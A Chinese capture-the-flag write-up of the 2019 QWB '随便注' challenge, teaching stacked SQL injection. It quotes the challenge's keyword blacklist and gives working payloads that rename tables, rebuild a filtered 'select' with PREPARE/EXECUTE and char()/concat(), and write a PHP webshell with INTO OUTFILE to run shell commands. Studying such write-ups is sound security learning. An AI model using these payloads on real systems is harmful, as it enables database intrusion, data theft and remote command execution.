[2019强网杯]随便注
考点:1、堆叠注入 2、sql预处理语句
之前做过的一道题,再次遇到发现还是有很多需要学习的地方,也没有记录过堆叠注入的题,所以就想着记一下这道题的一些知识点。
堆叠注入原理
在sql
中,分号;
是用来表示一条sql语句
的结束。 所以在;
后再接一个sql语句
将会一起执行,从而造就了堆叠注入。这里需要注意的是union injection
联合注入和堆叠注入是有很大区别的,联合注入只是将两条语句合并在了一起进行执行,所以执行的语句类型是非常有限的,但是堆叠注入可以执行任意语句,所以堆叠注入更具有危险性。
分析题目
进入题目后,我们很容易想到是一个sql注入
的题,所以我们就进行常规的验证。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
返回了过滤掉的命令,过滤掉了select
很是难办,我们只能尝试堆叠注入,
1';show databases#
成功执行并返回了正确的内容
看了大佬们的WP,看到了三种解法,接下来我们来一个一个看
修改当前查询表
先看一下当前查询库中有的表show tables
,也就是1';show tables#
继续查询表中的字段
show columns from `words`
这里需要非常注意的是:words
使用的是反勾号,而不是单引号
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `id` = 'abc' ;
但是这里好像也可以什么都不用,直接show columns from words
也是可以的,但是另一个表1919810931114514
必须要加反勾号
好了,经过查询我们得知如下信息
table:
words
columns:
"id":"int(10)"
"data":"varchar(20)"
table:
1919810931114514
columns:
"flag":"varchar(100)"
堆叠注入的好处就是可以同时执行好多个句子,后台的sql
语句查询的是words
表,我们可以将表明进行更换,再通过;or 1=1#
就可以获得flag
了
所以我们构造以下的payload
1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100)#
使用预处理语句
sql
有一种预处理语句,使用方式为:
prepare name from '[my sql sequece]'; //预定义SQL语句
execute name; //执行预定义SQL语句
(deallocate || drop) prepare name; //删除预定义SQL语句
而且我们还可以使用set
进行定义变量然后达到绕过黑名单的效果
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
这里我们既可以使用char()
方法来拼接字符串,也可以直接利用concat()
方法直接拼接
char()根据ASCII表返回给定整数值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'
contact()函数用于将多个字符串连接成一个字符串
contact (str1,str2,…)
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'
使用char()
方法
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
直接只用concat()
1';PREPARE jwt from concat('sel' , 'ect', ' * from `1919810931114514` ');EXECUTE jwt;#
使用set
定义变量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#
写入木马Getshell
这个方法简直太强了通过查询发现用户是root
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
再通过命令写入php一句话木马
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
然后直接通过访问1.php
就可以执行任意命令了
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
这个方法简直是太强了,大佬太牛了!
标签:语句,堆叠,SQL,随便,强网杯,2019,words,sql,concat From: https://www.cnblogs.com/seizer/p/17035744.html